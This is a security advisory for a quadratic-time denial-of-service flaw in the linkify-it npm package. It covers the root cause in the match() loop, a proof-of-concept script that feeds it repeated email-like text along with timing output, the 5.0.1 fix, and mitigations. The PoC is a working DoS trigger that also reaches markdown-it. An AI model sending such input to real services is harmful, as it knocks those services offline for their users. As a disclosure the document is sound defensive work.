highCVE-2026-48801Jun 26, 2026

CVE-2026-48801: linkify-it O(N²) DoS in match() scan loop

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Sending a large block of repeated email-like text to any app that uses linkify-it (including markdown-it with linkify enabled) causes the server to burn CPU for seconds per request, making denial-of-s

Packagelinkify-it
Ecosystemnpm
Affected<= 5.0.0
Fixed in5.0.1

The problem

The `LinkifyIt.prototype.match` function in linkify-it <= 5.0.0 has O(N²) algorithmic complexity. On every loop iteration it re-slices the input string and re-runs three unanchored regex searches (`host_fuzzy_test`, `link_fuzzy`, `email_fuzzy`) over the full remaining tail.

The cost per match is proportional to the remaining input length, so total work across all matches is O(N²). At 64 KB of repeated `a@b.com` input, a single `.match()` call burns roughly 2.5 s of CPU; 128 KB takes around 10 s. Because `markdown-it` calls `linkify.match()` directly when `linkify: true` is set, the quadratic cost passes through transparently to every service that renders untrusted Markdown.

Proof of concept

javascript
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()

// 64 KB input -> ~2.5 s CPU; 128 KB -> ~10 s CPU
for (const n of [1000, 2000, 4000, 8000, 16000]) {
  const evil = 'a@b.com\n'.repeat(n)   // n=8000 -> 64 KB
  const t0 = process.hrtime.bigint()
  l.match(evil)
  const ms = Number(process.hrtime.bigint() - t0) / 1e6
  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}

// Measured output (Node v25, Apple Silicon):
// n=1000  bytes=8000    took 44 ms
// n=2000  bytes=16000   took 159 ms
// n=4000  bytes=32000   took 628 ms
// n=8000  bytes=64000   took 2506 ms
// n=16000 bytes=128000  took 9948 ms

// Via markdown-it (linkify: true) - same curve:
// const md = require('markdown-it')({ linkify: true })
// md.render('a@b.com '.repeat(8000))  // -> ~2.6 s

The root cause is structural, not a regex backtracking bug (CWE-407). The `match()` loop calls `tail.slice(this.__last_index__)` on each iteration (re-allocating up to N characters) and then calls `this.test(tail)`, which runs three unanchored `.search()` and `.match()` calls over the full new tail.

Total cost is the sum N + (N-c) + (N-2c) + ... = O(N²).

The fix in 5.0.1 mirrors the schema-prefixed scan branch that was already linear: it adds the `g` flag to the fuzzy regexes (`email_fuzzy`, `link_fuzzy`, `host_fuzzy_test`) and rewrites the scan to advance `re.lastIndex` with `re.exec(text)` on the full original string instead of re-slicing the tail.

The outer `match()` loop drops `tail.slice()` entirely and tracks a numeric offset, making the total pass O(N).

The fix

Upgrade `linkify-it` to **5.0.1** (`npm install linkify-it@5.0.1`). If you use `markdown-it`, upgrade it to the version that pins `linkify-it >= 5.0.1` as well. As a short-term mitigation, enforce a request-body size limit (e.g. 16 KB) on any endpoint that renders user-supplied text with linkify enabled, or disable `linkify: false` in `markdown-it` for untrusted input.

Reported by ltduc147.

References: [1][2]